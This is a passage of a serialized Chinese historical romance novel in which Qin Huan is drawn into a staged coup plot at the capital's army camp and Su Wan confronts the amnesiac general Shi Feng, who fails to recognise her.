她瘦得厉害，宫里吃□□致，可她吃得极少。再加上正月上元节，她偷偷跑到冷宫探望他，结果受了风寒，大病了一场，身子拖得只剩一把骨头，哪里来的孩子？
由此可知，苏绾的疯痴之症，早已病入骨髓。
他心知肚明，看破不说破，慢条斯理地搁下碗，拉了锦墩坐下，两手覆上一双柔荑，配合着她的幻想，低低地笑着：“真好。怀多久了？”
苏绾摇摇头：“不记得了，大约两个月吧。”
秦欢顺着话头逗她：“才两个月，肚子还没显怀。”
“很快就会显了。”苏绾偏头望着他，眼神柔软得像初春化雪：“他会长得像你，还是像我？”
秦欢弯起唇角：“像你。”
苏绾从他手里挣出葇荑，摸了摸他的脸，“可我希望他像你。”
她的手滑落，搭在秦欢滚烫的掌心里，“聪明，果决，心思缜密。”
秦欢攥了攥她的凉手，“若是个小姑娘呢？”
苏绾愣了愣，莞尔道：“那必是像我呀，让你拿她没办法。”
秦欢忍不住捏了捏她的脸颊。
苏绾靠近些，顺势倚上他肩膀，“你想生几个孩子？”
秦欢睇着她苍白的脸色，轻声道：“几个都行，随你。”
窗外的风敛了几分，烛火安静燃烧，苏绾累乏了，靠着秦欢的肩膀阖眼休息。
秦欢默默将那碗已经凉了的面条搅了搅，舀起荷包蛋，一口一口地吃完。
陪着苏绾过完二十一岁寿辰之后，不消两个月的时间，温如初找上了他的门。以最为简单粗暴的方式——麻袋套头，丢掷在野兽出没的山洞里，结束了他短暂的一生。
往事不可复。
屋外响起一阵急躁的叩门声。
秦欢抬眸瞥了一眼，屋门已被推开，一道颀长的身影趸了进来。
一袭竹月色襕衫，衣角尚沾着几许寒露，萧染踏进屋时，随手抖了抖袖摆，水珠落在门槛，闪着细碎的光点。
他懒懒倚在门边，目光扫过案上未及收拾的刻刀与木屑，“前面便是京郊大营，驻扎三万精兵。因京卫指挥使殉职，暂由大理寺卿代为管理。”
秦欢听得分明，不动声色地将桃木簪纳入螺钿漆盒，盖上盒盖，妥帖封存。
一连串流畅的动作，引得萧染眯了眯细长眼眸，脚步一错，凑近两分，脖子伸得老长，狐疑地盯着那方漆盒，“什么？”
秦欢掸了掸衣袖，随口道：“小玩意儿。”
萧染不依不饶，手指搭上漆盒一角
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，似要打开来看。秦欢随手一拂，不徐不疾地将漆盒挪开，抬眸睇着他，“你还有别的事么？”
“啧。”萧染颇有些不甘地收回手，顺势在对面的太师椅坐下，长腿搭在案边，“你送她簪子？她若是不收呢？”
秦欢以袖口拂了拂案上残留木屑，漫不经心道：“我自己留着。”
这一路，萧染这孩子好似开了屏的孔雀，各种争奇斗艳，就为了博得美人青睐。
他从前不是这样的，冷硬得像块石头，一门心思只想替母亲争得名分，在这京城权谋之中搏出一席之地。
如今铁树开花，竟然对苏绾动了心思。
着实令人头疼。
少年眯起细长的眼眸，骨节分明的手指在扶手敲了敲，“你说……她到底会选谁？”
秦欢微微一笑：“你且试试看。”
这郎中一贯笑里藏刀，让人不寒而栗。萧染盯了他片刻，终究败下阵来，懊恼道：“罢了罢了，不提这个。”
他将搭在案上的双腿放下，坐直了身子，语气一转，正色道：“你不是收到线报吗？那姓邵的跟别人在一起，此刻不在京营里。没什么好担心的，咱们直接冲过去罢。”
秦欢淡淡道：“你是不是忘了，自己是毒蛇堂的堂主这回事？”
萧染一怔，眼神不自在地在房梁绕了一圈。
半年前，画舫与山寨两案合并，京营早已将他萧染当作头号通缉犯，悬赏巨额赏金缉拿他。他之所以还敢在京郊周遭活动，不过是仗着地盘熟悉、身手敏捷，未被围剿而已。
可听秦欢这语气，倒像是在提醒他“自觉避嫌”，免得给人添乱。
萧染双手抱臂靠在椅背，不屑道：“我会怕那些杂头兵？再说了，我也不是为了发泄私愤，都是听从朝廷安排调遣。我可是皇帝老儿亲口承诺的暗卫。”
话虽如此，二人心知肚明——从前或许是这样，可如今不同了。
温如初已入内阁，想必早已打通朝堂各处人脉，若真要清理旧账，怎会轻易放过小侯爷萧染？更不可能放过他秦欢。
秦欢沉声道：“不可掉以轻心。”
事实证明，秦欢才是老狐狸。
萧染率先带人前去探路，谁知才走出不到二十里的路程，一队金甲骑兵从林间骤然杀出，马蹄轰鸣，卷起大片尘土，长枪凛厉直指自己。
他的人马立刻警觉，兵刃出鞘，双方剑拔弩张。原以为只是寻常守军，交手以后方知，五军营的骑兵行动迅猛如雷，战阵攻防一气呵成，完全不似萧染口中“杂头兵”可比。
短短一炷香的时间，毒蛇堂堂主便被人“恭敬”地请上了马，浩浩荡荡送进军营，堂而皇之成了对方的座上客。
帐内烛火摇曳，甲胄铿锵，萧染双手被缚，气鼓鼓地被按坐在席前，抬眼便见主位上坐着一袭青衫的京营指挥使——大理寺卿邵云礼。
“你、你不是在后……”少年眨了眨眼，满脸惊奇。
岂料，邵云礼抬手掸了掸衣袖，淡然道：“本官一直都在京营驻扎，不知你在说什么。”
烛光映着他眼底一丝若有似无的笑意，宛如猫捉老鼠，耐心十足。
（未完待续）
115. 和谈
日光透过营帐顶端的缝隙洒落，细碎光影翻卷跳跃的旌旗，帐外隐隐传来兵戈碰撞声，偶尔几缕风掀起帘角，吹进一丝黄土气息。
“你、你是……”
手脚被麻绳牢牢捆着，身子僵硬得发麻，萧染动了动手腕，坚硬绳索磨得皮肉生疼。他费力地抬起头，眯着眼睛，努力想要看清楚些。
“怎么，不认识本将军吗？”对方坐得极为随意，左手撑着扶臂，右手支着下颌，身体微微前倾，倦怠地打了个呵欠。
那副悠闲散漫的模样，令萧染心里顿时有了数。眼前之人，就是他一生的“宿敌”——时枫。
可他不是死了吗？
他本应溺死在黄河里，尸骨无存才对。可现在，男人竟好端端地坐在自己面前，甚至还有心情打呵欠？
萧染舔了舔干涩的嘴唇，嗓子眼火燎似的发紧，“你想怎样？”
时枫挑了挑眉，右手指尖叩着唇，像是听见了什么有趣的话，“本将军叫你过来，是想和你喝茶叙旧。”
正午阳光越发毒辣，照得帐外沙尘浮动，飘进来的黄土落在萧染的衣角，他懒得去掸。
“什么意思？”萧染眨了眨细长的眼，目光在男人身上逡巡了一遭，“难道你想让我出卖秦欢？想得美。”
秦欢，两个字好似一枚密钥，撬动记忆大门开启一丝缝隙。
时枫似乎有些不淡定，稍稍坐正身子，“秦欢，是谁？”顿了顿，豪爽道：“你的朋友？一起叫来饮茶。”
“是你爷爷。”对方竟然摆出如此嚣张态度，令萧染气个半死，忍不住訾骂道。
男人愣了愣，却没有依样骂回去，只一味盯着少年。阳光在男人侧脸勾出锋锐的线条，骨节分明的指尖叩敲扶手，发出哒哒的声响。
冷静的反应，更让萧染心里发毛。
他一个鲤鱼打挺，整个人像弹簧一样弹起，不留神脚下踉跄了一步，咬牙撑住身形，目光逼视时枫，怒道：“你他娘的，少跟小爷装神弄鬼，吓唬谁呢？我告诉你，敢动秦欢一根汗毛，小爷我掀翻你家祖坟！”
空气凝滞了一瞬。
时枫眼里浮起迷惘，心道：这跟说好的不一样啊，怎么两句话就把人惹毛了？接下来该怎么做呢？
男人没有反驳，也没有嘲讽，反而佝偻着身子，手掌下意识地摩挲着束腕，显得有些不知所措。
莫名其妙的反应，也让萧染摸不着头脑。按理说，时枫被骂成这样，怎么着也该炸毛了才对，可他竟不怒不笑，一声不吭，不知心里盘算什么鬼。
兵不厌诈，他可是很懂的。
“谁让你出卖别人了？”忽然帐门被人掀开，一道身影趸入营帐。
萧染扭头看去，邵云礼步履稳健走进来，顺手放下帘子，风吹得衣袍微微扬起，又落得整整齐齐。他扫了一眼时枫，眼角弯了弯，像是在会意什么。
而时枫则靠回椅背，姿势放松了几分。
邵云礼捡了张座位坐下，拈起案上的茶壶，为自己倒了杯茶。
他慢条斯理地饮了一口，方才放下杯盏，淡然开口道：“不过是想和你们坐下来，好好谈谈。”
“哼。”萧染冷笑一声，震得肩膀尘土抖落，“说来说去，还是要威胁勒索，我劝你死了这条心吧。”
“哦。”邵云礼摇头叹息，指尖敲了敲桌面，“我本以为，小侯爷是个明事理的人，岂知竟是这般油盐不进，不知好歹。死到临头，还要嘴硬。”
一声“小侯爷”，惊得萧染脚底发凉，嘴巴张得大大，眼睛瞪如铜铃，不敢相信自己的耳朵。
惊诧表情尽数落入大理寺卿的眼中，他掸了掸衣襟，悠然道：“你可知此刻，京城遍地都是暗卫，专为拿你而来？你现在进城，等于是自投罗网，不出十步，一准被人拿下。”
他身子向后靠了靠，侧首思索了一瞬，“锦衣卫镇抚使李鹤鸣，应该跟你很熟吧？”又顿了顿，嘴角扬了扬，“就是他下令要抓你。”
李鹤鸣统领锦衣卫及暗卫，算是萧染的顶头上司。过去两年间，基本都是李鹤鸣的手下，在同萧染交涉，给他发布任务。
他以为自己藏得够深，可对方竟然将他的全部底细翻了个底朝天。萧染咬紧牙关，努力维持镇定，“胡言乱语，我听不懂。”
邵云礼笑道：“你懂不懂不要紧，秦欢明白就行了。”
他抬头看了看帐外日头，“估计再有一个时辰，秦欢就会到了。”
京郊驿站，春寒料峭。
殷潜的车马已经进入顺天府境内，距离京城不过几十里路程，车队在进京前做最后的补给，于是，苏绾捡着空暇休整一天。
她半倚美人靠，仰望庭院里的几株桃树。枝头新绽的花朵，被风一吹，片片飘落，红白交错，落入池水。
她轻叹：“开得真好。”
秦欢坐在她身旁，他袖中藏着一方小小漆盒，里面装着他为她亲手打造的桃木簪。本该在苏绾生辰时送出，可他总觉得时间紧迫，许多事已不再按计划进行。
他不想再等了，怕夜长梦多，也怕这份心意无法传达。心里盘算着如何把簪子送出去，可话到嘴边，竟无端生出几分犹豫。
他漫不经心道：“再过几日，花瓣就要落尽了。”
“有花堪折直须折，莫待无花空折枝。”苏绾娇俏笑道。
秦欢的目光不由自主地落向桃花面颊，清新妍丽，不施粉黛却胜过世间万千妆容。她的美，是那种天然去雕饰的美，仿佛从画中走出的仙子，令人移不开眼。他曾有幸拥她入怀，此生多么幸甚至哉。
然而，与上一世相比，如今的苏绾多了一分自由，少了几分束缚。她的笑容更加明媚，举止更加洒脱，可秦欢敏锐地察觉到，她眉眼间依旧藏着淡淡的忧伤。那抹忧伤如薄雾般萦绕不去，却不是为了他。
她的心里，装着另一个人。
递出去的真心，她不见得会收。
亭外风起，几片花瓣旋落，落在苏绾肩头。她抬手想拂去，却被秦欢拦住。他伸出指腹，轻轻捻起花瓣，夹在指间把玩，动作从容洒脱，颇有一股逍遥散人的意境。
秦欢的身上，流淌着一股温润的气息，好似冬日暖阳照耀心田，整个人都晒得暖洋洋的。
世上绝无第二人值得这份信任，哪怕过了两世。
“可惜了。”秦欢低声道。
苏绾看着他，“可惜什么？”
秦欢将花瓣搁在她掌心，“可惜再好看的花，也留不住一世。”
那副与世无争的态度，深深刺痛了苏绾的心，耳边不合时宜地乱入温念凄厉的笑声：“秦欢被熊罴啃得骨头渣子都不剩，叫我如何替他收尸，哈哈哈。”
她忽然觉得自己欠了他一辈子。
苏绾垂眸道：“表哥，这世上有没有哪样东西，是你想留下的？”
秦欢正思考如何拿出礼物，冷不丁被她劈头一问，袖里漆盒滑落半截，差点掉出来。秦欢身子一侧，不动声色整理衣袖，将漆盒重新藏好，抬眸道：“怎么问这个？”
苏绾瞥了一眼他的衣袖，似乎有什么东西滑落，但对方明显故意藏着掖着，就是不想让她知道。
苏绾按下心头疑惑，“随口问问。”
既然自己没有露出破绽，秦欢放了心，“没有。”他笑了一下，“世间万物，能握住的东西不多，握不住的，就随它去吧。”
见他还是不愿意对她敞开心扉，只是一味敷衍了事，苏绾没有继续深问。
这时侍从快步走入，俯身附耳低语几句。
听得秦欢眉心蹙起，罕见地急着站起身辞别：“你早些歇息，我去去就回。”
必有大事发生。
苏绾望着他的背影沉稳离去，随即起身回房，换了一身利落的男子衣裳，戴上兜帽，翻身上马，悄无声息地跟上秦欢的车马。
一路上，苏绾越走越觉得熟悉，这条路怎么好像通往京营方向？
果不其然，大约行了二十里路程，马车在京营前方拒马枪处，停了下来。车夫跳下车，同守卫交涉一番，守卫挥手放行。
苏绾原地等了一会，直到秦欢完全进营后，她才从后方急急跟上。
守卫拦住她，“哪里来的？”
苏绾忙用口技模仿男声：“我是秦欢的小厮，秦大夫有重要信件落下，老爷派我送过来。”
守卫刚刚放行秦欢，见她如是说，也就信了，挥手将她放行。
故地重游，苏绾逡巡一圈，不费吹灰之力就摸到了秦欢所在的营帐，门口候着他真正的仆役。她翻身下马，找了借口支开那名小厮，自己取而代之，躲在帘下偷听里面谈话。
秦欢甫一进营帐，目光立即捕捉到席上的几人。
最先映入眼帘的是垂头丧气的萧染，衣襟沾着尘土，袖口褶皱凌乱，显然是被人强行按住了。哎，谁让这个呆子不听话，这下子好了吧，人为刀俎，我为鱼肉。
秦欢视线再往前移，邵云礼神色从容端坐主位。那副稳操胜券的姿态，让秦
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欢心底一沉。果然被他猜中，大理寺卿提前赶回京营，巧设陷阱，专为擒他而来。
以及最后一人……
秦欢以为自己看错了，他下意识地抬手在额角抹了一把，确认自己没有幻觉。
男人一身玄色戎装，凤眸沉冷，正一瞬不瞬地盯着他，像是要将他整个人看穿。
秦欢藏在袖管里的手，不自觉地攥紧了。
他没有看错，那个男人回来了。
他从黄河的惊涛骇浪里活着回来，带着万分的怨恨与锋芒，重新出现在他面前。
邵云礼手一挥，“秦大夫，看座。”
秦欢敛去所有情绪，信步趸至萧染身旁，随手捡了张杌凳坐下。
刚坐稳，萧染压低声音凑到他耳边，怒气冲冲道：“他们故意的，仗着人多……”
秦欢连头都没回，淡淡道：“人少，你也打不过。”
一语击中痛处，萧染嘴角一抽，脸涨得通红，偏偏又无力反驳，像只受气的猫，满脸的不甘心。
邵云礼抱拳惟恭，“今日邀请秦大夫莅临寒舍，乃是为商讨机要，并非有意为难二位，多有得罪，还请海涵。”
秦欢执起茶盏，抿了一口，“秦某一介布衣，身无半点功名，何来资格，坐在这帐中，同朝廷官员谈论长短？邵大人怕是找错了对象。”
邵云礼笑意不减：“秦大夫客气了。莫说你没有资格，整个山东省的海运漕运，皆在你的掌控之中，如今又拉拢了浙江布政使殷潜的势力，大半江山尽在麾下。”他意味深长地看了秦欢一眼，“就连我这个三品大员，都得低头向你行礼问安。”
邵云礼这番话，看似玩笑，实则锋芒毕露——不仅是在点明秦欢的势力，更是在警告他，自己已经将他的背景摸得一清二楚。
秦欢轻轻一叹，似笑非笑地道：“邵大人此言差矣。殷潜是秦某的姨父，身边照顾尽孝乃是本分，何来拉拢一说？再者，文武自古不相通，我与兵家道不同不相为谋，实在是无话可谈。”
这郎中铁了心的不想和谈，倒让邵云礼下不来台阶，脸色有些难堪，“秦大夫，你也忒不知好歹。敬酒不吃吃罚酒。进了这营帐，就别想着全须全尾地出去。说破了天，今日也是要和谈。”
旁边的萧染一听，顿时炸了毛，拍案而起，“注意你的言辞！吓唬谁呢？真要闹个鱼死网破，我们也不怕！”
毒蛇堂的信徒遍及京城内外，又有锦衣卫当后盾，他萧染无所畏惧。
帐内的将士握紧兵器，气氛瞬间紧绷。
“你给我闭嘴。”秦欢斥道。
对方显然对他们的底细和立场非常清楚，他自己也不过是强撑着，根本没能力威胁对方。
这种不对等的感觉，非常不好受。
萧染张了张嘴，不甘心地瞪了他一眼，没再作声。
果然，邵云礼嘴角一撇，“差点忘了小侯爷，你的身份，可是计划中尤为重要的一环。成败与否，就看你的表现了。”
他连萧染的背景都翻腾出来了，想必关于苏绾的身世，也能略知一二。
自己太被动了，手里面一枚筹码都没有。
秦欢收回目光，神色平静道：“我本无意冒犯诸位，但实在是囊中羞涩，胸无丘壑，愧对大人的信任。”
邵云礼笑道：“秦大夫谦虚了。罢了，邵某也不同你拐弯抹角，不若先听听我的计划，再做定议不迟。”
言毕，他端起茶盏，也不管秦欢愿不愿意听，自顾自地娓娓道来：“如今局势已至紧要关头，圣上优柔寡断，朝中党争日益激烈，国本动摇，唯有一策可行。”
他声音沉稳而笃定。
“逼宫。”
帐内顷刻陷入死寂。
萧染倏地直起腰，目光骇然，秦欢手中的茶盏晃了晃，就连帐外的苏绾也攒着一把汗。
“当然。”邵云礼神色如常，“并非真正意义上的威逼皇帝退位，而是打着‘清君侧’的名义，迫使圣上清算奸佞，还朝纲以清明。”
此番谋划，绝非一人所能成事，背后定然还有更深的布置。如此大规模的行动，虽是以假乱真，若不慎踏入泥淖，便是万劫不复之局。
“我的人，加上你的势，如虎添翼，锦上添花，保准马到功成。”邵云礼敛眉轻笑，目光锋锐，“秦大夫以为如何？”
秦欢素来谨慎，没有立刻答应，但也没有断然拒绝。
有些事，他必须先弄清楚。
时枫，为什么还活着？
116. 失忆
时枫为什么还活着？
秦欢眯起眼，余光不动声色地落向那道身影，玄色戎装勾勒出肩背凌厉的弧度，男人目光沉静如渊，没有怒意，也没有杀意。
可秦欢心里清楚，这个男人的归来，绝不仅仅为了饮茶叙旧。他活着，就已经是最锋利的一柄刀刃，架在了自己的脖颈之上。
所有人都认为，他秦欢是凶手。
几个月前，颜老七信誓旦旦地告诉他，自己将时枫踢下河。秦欢破天荒地动了怒，狠狠骂了颜老七一通，并放话以后再也不想见到他。
颜老七马屁拍错了地方，没捞到半点油水好处，反倒惹了一身不是。他整日窝在铺子里唉声叹气，醉生梦死，直到被沈枝意送去见阎王。
如今颜老七死了，真正知晓真相的人，已被埋入黄土。秦欢突然意识到：自己背了史上最大的黑锅。这世上，再无人能证明，他秦欢到底有没有杀人。
可他扪心自问，自己真的无辜吗？
并不。
他甚至没有派人去沿岸搜寻，甚至没有组织任何打捞行动。可他以照顾苏绾为借口，并没有将这些琐事放在心上。倘若他真地尽心尽力拯救时枫，他又怎会被渔民救走？
所以，在他心里，早已默认是自己杀了时枫。
秦欢端坐不动，目光犀利如刃，死死盯着时枫，像要将他看穿——从一开始，时枫就没有开口讲过一个字，以他一贯张扬跋扈的个性来看，非比寻常。
“你的计划虽周全。”秦欢沉缓道：“但我有一个疑问。”
所有人看向他。
秦欢眼底掠过一丝寒意，声音压得更低：“你们可知，那皇宫里面，其实有两个温如初。”
霎时，帐中死寂。
这一句话，如同霹雳炸开，惊起千层浪。
萧染尚且镇定，低着头像是在思索什么。那日在黄河渡口，就是他拿着火铳崩了三枪，打断了温如初的一条手臂。
邵云礼起初面露惊骇，转而沉寂了一瞬，忽然灵台一片清明。
他早觉得不对劲，之前在太后寝宫门前，那时温如初从他身侧经过，语气不轻不重地提点他关于萧染的身世。
心思敏锐如邵云礼，自然察觉出话里有玄机，只是当时，他更在意温如初的伤势——左肩微沉，明显受长枪一类的利器贯穿，可他以为无关紧要，未曾细想。
直到现在，被秦欢一语点破天机，他才如梦方醒，后背泛起一丝寒意。
从黄河一行铩羽而归后，温如初作风大变，朝堂上独断专行，雷厉风行，赶尽杀绝一众异己，甚至毫不避讳地玩弄“指鹿为马”的权术，生生逼得内阁其他几个老臣告老还乡，更是以二十三岁的年纪，稳坐“小阁老”之位。
里面一定有猫腻。
秦欢死死盯着时枫，观察他的反应：那日他在渡船上，与两个温如初正面周旋决斗，绝对知晓事实真相。
然而时枫却是一群人里面，最茫然不知所措的，凤眸流露出彻骨的迷茫，他、他甚至还挠了挠头。
秦欢疑心自己看错了，不死心又问了句：“时将军，你曾亲自随同温如初南下，又与他乃鹡鸰之交，不可能不知道吧？”
“这个……我……”时枫支支吾吾，不知如何回答他，掀眸望向邵云礼。
出乎意料地，大理寺卿竟也好似第一次听闻，自言自语：“怎会有两个温如初呢？不会看错了吧。”
两人毫无默契的反应，直接验证了秦欢的假设，他忍不住咬紧了牙关，面上覆上一层阴云。
身边萧染也察觉出来不对劲，恍然大悟道：“他、他在说谎。”
这时，帐外突然传来急促的脚步声，裹挟着寒风，苏绾贸然闯入帐内。
邵云礼心中大呼：“不妙。”来不及阻拦苏绾，她已然冲到了主位之前。
眼前的男人一身玄衣，凤眸冷冽如霜，稳稳坐在椅子上，肩背笔直如松，周身散发着凌厉的气势，如假包换的“冷面阎罗”。那张熟悉的面孔，那张她曾在无数个深夜里描摹的脸颊，近在咫尺，冷得让她心寒。
苏绾的眼泪无声地滑落，大颗大颗地砸向衣衫，溅起细小的水花。眼底震惊、愤怒、悲喜交加，最后只化成一句撕心裂肺的控诉。
“你这个大骗子！”
声音颤抖，带着几分嘶哑，胸口剧烈起伏，呼吸也变得急促。
脑海中闪过无数画面，那些深夜里的辗转反侧，那些独坐窗前的孤寂，那些因思念而将她吞噬殆尽的痛苦。
蓦然又想起那些梦境，梦里他总是站在远处，背对着她，无论她如何呼喊，他都不曾回头。
手指无力地松开衣角，指尖半蜷着垂在身侧。目光依旧死死地盯着他，心中涌起一股难以言喻的酸楚。
她曾以为，自己已经习惯了没有他的日子，习惯了那种深入骨髓的孤独。可如今，看到他活生生地出现在眼前，她才明白，那些所谓的习惯，不过是自欺欺人的谎言。她的思念从未停止，反而在日复一日的压抑中愈发浓烈，几乎要将她逼疯。
“你骗得我好苦啊……”声音低低的，仿佛用尽了所有的力气。
时枫蹙眉睇着眼前之人。
她穿着一身缁衣，衣袂翻飞，头戴兜帽，鬓边一缕发丝被风吹乱，贴在泪湿的脸颊。整个人僵在原地，像是拼尽全身力气才能勉强站立。
然而时枫眉心皱得更深，眼底浮起错愕，记忆里似乎没有这样一位男子存在。
这个大傻瓜，苏绾换了件男装，他就认不出她来了。
他微微侧首，疑惑道：“你是谁？”又不确定道：“我好像不认识你。”
寂静，死一般的寂静。
苏绾浑身一震，像是被当头一棒砸下，脑中嗡鸣作响。明眸翻了翻，以为他又是在逗弄她。
这个混蛋，都什么时候了！
众目睽睽之下，苏绾上前几步，跳脚窜上桌案，单膝蹲踞，一把拽住男人的衣领，凑近眼前，咬牙道：“你再说一次，你认不认得我。”
她离他不过半寸距离，时枫听到一颗小心脏扑通扑通地跳着。扑面而来的，都是她的气息，一股淡淡的馨香。
啊！
这次他看仔细了，这人并非男子，其实是位姑娘，而且是他朝思暮想的那位神仙姐姐。
男人的脸瞬间涨红，结结巴巴道：“认、认得，我认得你。”
苏绾眼睛一亮，“那你说，我是谁？”
这下可为难了时枫，他只在梦中见过她，但明显梦里的人和眼前的美人，并非同一个。
记忆里依稀有些印象，叫什么来着？他努力地回想：“苏、苏……”
在场众人跟着他的节奏，脑袋一点一点，心脏也被揪到了嗓子眼。
“苏……唉呀！”男人忽然一声大吼，“我记不得了。”
哎，所有人跟着叹了口气。
这个没用的笨蛋。
哪知苏绾根本不买账，一手揪着衣领，另一只手啪啪地扇他耳光，骂道：“你这个混蛋，竟敢说不记得了？我要打死你，你去问地府阎罗，翻开命簿看看，姑奶奶究竟姓甚名谁。”
众人被苏绾这架势吓成木鸡。
男人抱着头，转向邵云礼求道：“邵大人，你帮帮我嘛。”
邵云礼正狠狠敲着自己的额首。
阿舟这个笨蛋，真是没救了。
自从沈枝意亲手杀了山羊胡之后，邵云礼越发觉得局势不对劲，他似乎有点过于乐观了。
原本计划着，让阿舟假扮上门女婿，借沈恪之手来守护时枫，在他恢复记忆前，只以阿舟的身份苟活。
可那位沈大小姐好像一丸火药，随时可能被引爆，完全不按常理出牌。与之相处像是置身一局浑水，表面看似平静，实则水底暗流汹涌，不知道明天会被推去何方。
他不喜欢这种感觉。
他习惯执棋，而非被棋局牵制。他要合适的棋子，能搅动局势，又不会颠覆棋盘的人，不该是沈枝意。
于是，他在心里慢慢勾勒了一条计划——先发制人，逆转局势。抛开沈恪的庇佑，先迎时枫回局，在众人掩护下，再慢慢寻求恢复记忆的办法。
孤注一掷，实在寸步难行，他需要联盟军。放眼天下，还有谁配得上以身入局下这盘棋，在这乱世里掀起惊涛骇浪？
他想到了一个人。
那位胸怀千古的幕后真正操纵者，秦欢。
另一方面，阿舟主动找上了他。
邵云礼看着眼前这个一脸憋屈、满腹心事的年轻人，心里不禁生出几分趣味。
阿舟明明就是失忆的时枫，可他偏偏要装作普通渔民，一副不愿面对现实的样子。
邵云礼坐在椅上，修长的手指有一搭没一搭地敲着扶手，“怎么，阿舟兄弟想通了，终于要问我关于自己真正的身份了？”
阿舟神色一僵，别开脸，干巴巴道：“不是。”
邵云礼饶有兴致地看着他：“那你找我是为了什么？”
阿舟沉吟片刻，像是在斟酌措辞，慢吞吞道：“阿喜说，人活
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着不能总是被欺压，若是有人害了你，便该报仇。”
邵云礼轻嗤一声：“她倒是很有见地。”
阿舟握紧拳头，咬牙道：“我想了很久，谁才是害我的人……想来想去，只有沈枝意。”
邵云礼拿起茶盏，轻轻晃了晃，“所以呢？”
阿舟眉头拧成一团，显然有些挣扎：“可她到底是个姑娘，我又不好直接对她下手。”
邵云礼慢条斯理地抿了一口茶，幽幽叹道：“哎，真是个温柔的好男人。”
阿舟警惕地看了他一眼：“你别讽刺我。”
“我是在夸奖你。”邵云礼将茶盏轻轻放下，抬眼看着他，“正好，我有个事情让你来做。”
阿舟皱眉：“什么事？”
邵云礼似笑非笑地道：“任务很简单，我要你假扮时枫。”
阿舟愣住了，眼睛睁得比铜铃还大，手都不知道往哪儿放了，结结巴巴道：“你、你、你说什么？”
邵云礼懒洋洋地靠在椅背，语气自然得仿佛只是在说今晚吃什么，“让你冒充时枫，跟我走一趟京郊大营。”
阿舟眼角抽了抽，嘴巴张了张，半天没说出话来。
邵云礼微微倾身，蛊惑他：“怎么，堂堂战神，竟不敢去自己的地盘？”
阿舟咬牙：“可我什么都记不得了。”
邵云礼手指叩着桌面，慢条斯理道：“没什么大不了，就是去探个消息，顺便让某些人看看——你，时枫，活着回来了。”
阿舟迟疑道：“……然后呢？”
邵云礼眸光微动，“然后，我帮你解决沈枝意。”
阿舟眼里有一丝动摇。
邵云礼继续添火：“不但如此，我还帮你彻底退婚，让沈枝意以后再也不来纠缠你。”
阿舟喉结滚了滚，“当真？”
邵云礼淡笑：“自然。”
阿舟盯着他，似是在权衡利弊，最终还是选择了相信他。
“行，我答应。”
这个傻瓜，完全忘记了，当初就是邵云礼主动登门，死皮赖脸求他娶的沈枝意。
邵云礼临行前，特意嘱咐晴雷：“阿喜他们就交给你了，好生照看。还有，”他顿了顿，目光幽深，“不可叫沈恪那边知晓。”
晴雷抱拳应下，看着二人策马离去。
邵云礼骑着一匹黑马，黑鬃如缎，步履沉稳。而阿舟，自然是骑踏月。
可怜踏月，千里神驹，战场征战无数，时隔半年，终于再次见到主人，竟是兴奋得不住扬蹄嘶鸣，仿佛在倾诉漫长难捱的等待。
然而，它迎来的，并不是熟悉的将军，而是一个一脸懵然的“渔郎阿舟”。
阿舟刚一翻身上马，踏月骤然昂首，长嘶一声，前蹄猛地扬起。
“啊——”
阿舟抱着马脖子，险些掉下马来，他脸色煞白，嘴里直嚷嚷：“它疯了，它疯了。邵大人，你救救我。”
邵云礼勒马回头，含笑看着这滑稽的一幕，“怎么？连骑马都忘了？”
阿舟咬牙道：“废话！我是个渔民，哪来的骑术？”
可邵云礼才懒得理他，两腿夹紧马臀，径自离开了。
阿舟小心翼翼地拽着缰绳，深吸一口气：“踏月，咱们讲道理，我是你的主人，你要听话。”
踏月耳朵一竖，眼里满是不屑，扭头就是一记轻巧的尥蹶子，差点把他再度摔下去。
就这样，一人一马，“磨合”了一整天，百十里的路程，硬是从晨曦拖到了夕阳，千里神驹的英名，生生毁在了自家主人的手里。
二人终于抵达京郊大营，邵云礼翻身下马，先是安抚众将一番，“将军沉河之际，头部受创，记忆有损，若偶尔认不出人，也属正常。”
全营炸了锅。
小旗官第一个冲上来，见到踏月，眼圈瞬间红了。他伸手抚摸战马的鬃毛，颤声道：“踏月啊踏月，你居然、你居然真的把将军带回来了，好样的。”
他抱着踏月的脖子，眼泪大颗大颗地滚落，泣不成声。
有人跟着哽咽：“百户长泉下有知，也该瞑目了。”
“是啊，他誓死守护的将军，终于回来了。”
阿舟被这群红着眼眶的将士们团团围住，一时间进退不得，原本该扮演的“冷面阎罗”角色，硬生生被弄成了“死而复生的亲人”。
更大的危机，还在后面。
他做梦都没想到，自己会被梦里的美人，眼前的不速之客，苏绾，给逼到了绝望的死角。
117. 觉醒
“你个大骗子！”
苏绾扇够了耳光，嗖得一下跳下案，身手利落得让人难以置信。她用力捶着阿舟胸膛，拳风带着怒火，一下接一下，毫不留情。
阿舟被打得一个趔趄，脸色发白，又不敢还手，只一个劲地后退，但又不能退太远，怕她会跌倒。
邵云礼刚想开口劝阻，苏绾已经又是一拳砸来，边打边哭：“你知不知道？我快要被你气死了。你说失踪就失踪，留下我一个人独活！”
粉拳砸得他心口生疼，一下一下，“你还是不是男人？！”
阿舟急得不行：“我、我……”
苏绾没给他解释的机会，拳头愈发没有章法，鼻涕眼泪横流：“是不是，你还是不是男人？！”
邵云礼实在看不下去了，开口劝道：“苏姑娘，你好好说嘛，别动手啊，他快要被你打死了。”
见苏绾这般憔悴无助，萧染站在一旁，双手紧紧攥成拳头，心里犹如刀割，正要上前拉开她，却被秦欢拦住，“他失去了记忆，暂时没有危险。”
“可是……”萧染咬牙，心里感慨，秦欢也太能忍了，怎么会没有危险，明明已经大祸临头了。
渐渐地，苏绾越打越没力气，拳头落在阿舟身上，变得轻飘飘的，像棉花一样。她喃喃着：“不是男人……”
眼泪砸在他胸口，沾湿了玄色衣襟。声音越来越低，越来越细，最后几乎只有气息。
阿舟站在原地，任由她无力地拍打自己胸膛，她的手指瘦削苍白，指间金环镶着一颗墨玉，闪着幽幽的绿光。
那玉磨砺着他胸口的肌肤，擦着一道深入骨髓的旧伤，像是剖心刮骨般生疼。
仿佛过了很久，男人忽然伸手，将她圈在怀里，手臂紧紧收拢，像要把她揉进骨血。
他的声音低哑：“是我的错……我不是男人。”
此生从未如此心疼懊悔过。为什么自己的笨脑子里，连一点回忆都给不了她？
风从帐外掠过，卷起帘幕的一角，吹乱了两人的衣衫。
男人指尖缓缓收紧，他想不起来她是谁，可他的身体还记得。
他记得她的哭声，记得她的重量，记得她的触碰。
他希望自己沉在黄河底，永远不用面对这一刻的无能为力。
